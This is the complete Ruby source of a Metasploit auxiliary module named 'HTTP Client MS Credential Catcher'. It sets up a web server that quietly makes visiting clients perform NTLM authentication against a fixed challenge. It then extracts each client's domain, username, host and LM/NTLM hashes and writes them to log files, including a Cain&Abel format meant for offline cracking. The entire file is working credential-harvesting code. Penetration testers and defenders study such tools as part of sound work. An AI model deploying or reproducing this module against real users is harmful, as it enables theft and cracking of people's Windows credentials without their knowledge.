## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/proto/smb/utils' require 'rex/proto/smb/constants' UTILS = Rex::Proto::SMB::Utils CONST = Rex::Proto::SMB::Constants class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP Client MS Credential Catcher', 'Version' => '$$', 'Description' => %q{ This module attempts to quietly catch NTLM/LM Challenge hashes. }, 'Author' => [ 'Ryan Linn ', ], 'Version' => '$Revision$', 'License' => MSF_LICENSE, 'Actions' => [ [ 'WebServer' ] ], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer')) register_options([ OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]), OptString.new('PWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]) ], self.class) register_advanced_options([ OptString.new('DOMAIN', [ false, "The default domain to use for NTLM authentication", "DOMAIN"]), OptString.new('SERVER', [ false, "The default server to use for NTLM authentication", "SERVER"]), OptString.new('DNSNAME', [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]), OptString.new('DNSDOMAIN', [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]), OptBool.new('FORCEDEFAULT', [ false, "Force the default settings", false]) ], self.class) @challenge = "\x11\x22\x33\x44\x55\x66\x77\x88" end def on_request_uri(cli, request) print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}") case request.uri when %r{^#{datastore['URIPATH']}.*sessid=} send_not_found(cli) when self.get_resource # If the host has not started auth, send 401 authenticate with only the NTLM option if(!request.headers['Authorization']) response = create_response(401, "Unauthorized") response.headers['WWW-Authenticate'] = "NTLM" cli.send_response(response) else method,hash = request.headers['Authorization'].split(/\s+/,2) # If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them if(method != "NTLM") print_status("Unrecognized Authorization header, responding with 404") send_not_found(cli) return false end response = handle_auth(cli,hash) cli.send_response(response) end else print_status("Responding with 404") send_not_found(cli) return false end end def run exploit() end def handle_auth(cli,hash) #authorization string is base64 encoded message message = Rex::Text.decode_base64(hash) if(message[8,1] == "\x01") domain = datastore['DOMAIN'] server = datastore['SERVER'] dnsname = datastore['DNSNAME'] dnsdomain = datastore['DNSDOMAIN'] if(!datastore['FORCEDEFAULT']) dom,ws = parse_type1_domain(message) if(dom) domain = dom end if(ws) server = ws end end response = create_response(401, "Unauthorized") chalhash = UTILS.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain) response.headers['WWW-Authenticate'] = "NTLM " + chalhash return response #if the message is a type 3 message, then we have our creds elsif(message[8,1] == "\x03") domain,user,host,lm_hash,ntlm_hash = UTILS.process_type3_message(hash) print_status("#{cli.peerhost}: #{domain}\\#{user} #{lm_hash}:#{ntlm_hash} on #{host}") if(datastore['LOGFILE']) fd = File.open(datastore['LOGFILE'], "ab") fd.puts( [ Time.now.to_s, cli.peerhost, host, domain ? domain : "", user ? user : "", lm_hash ? lm_hash : "", ntlm_hash ? ntlm_hash : "" ].join(":").gsub(/\n/, "\\n") ) fd.close end if(datastore['PWFILE'] and user and lm_hash) fd = File.open(datastore['PWFILE'], "ab+") fd.puts( [ user, domain ? domain : "NULL", @challenge.unpack("H*")[0], lm_hash ? lm_hash : "0" * 32, ntlm_hash ? ntlm_hash : "0" * 32 ].join(":").gsub(/\n/, "\\n") ) fd.close end response = create_response(200) return response else response = create_response(200) return response end end def parse_type1_domain(message) domain = nil workstation = nil reqflags = message[12,4] reqflags = reqflags.unpack("V").first if((reqflags & CONST::NEGOTIATE_DOMAIN) == CONST::NEGOTIATE_DOMAIN) dom_len = message[16,2].unpack('v')[0].to_i dom_off = message[20,2].unpack('v')[0].to_i domain = message[dom_off,dom_len].to_s end if((reqflags & CONST::NEGOTIATE_WORKSTATION) == CONST::NEGOTIATE_WORKSTATION) wor_len = message[24,2].unpack('v')[0].to_i wor_off = message[28,2].unpack('v')[0].to_i workstation = message[wor_off,wor_len].to_s end return domain,workstation end end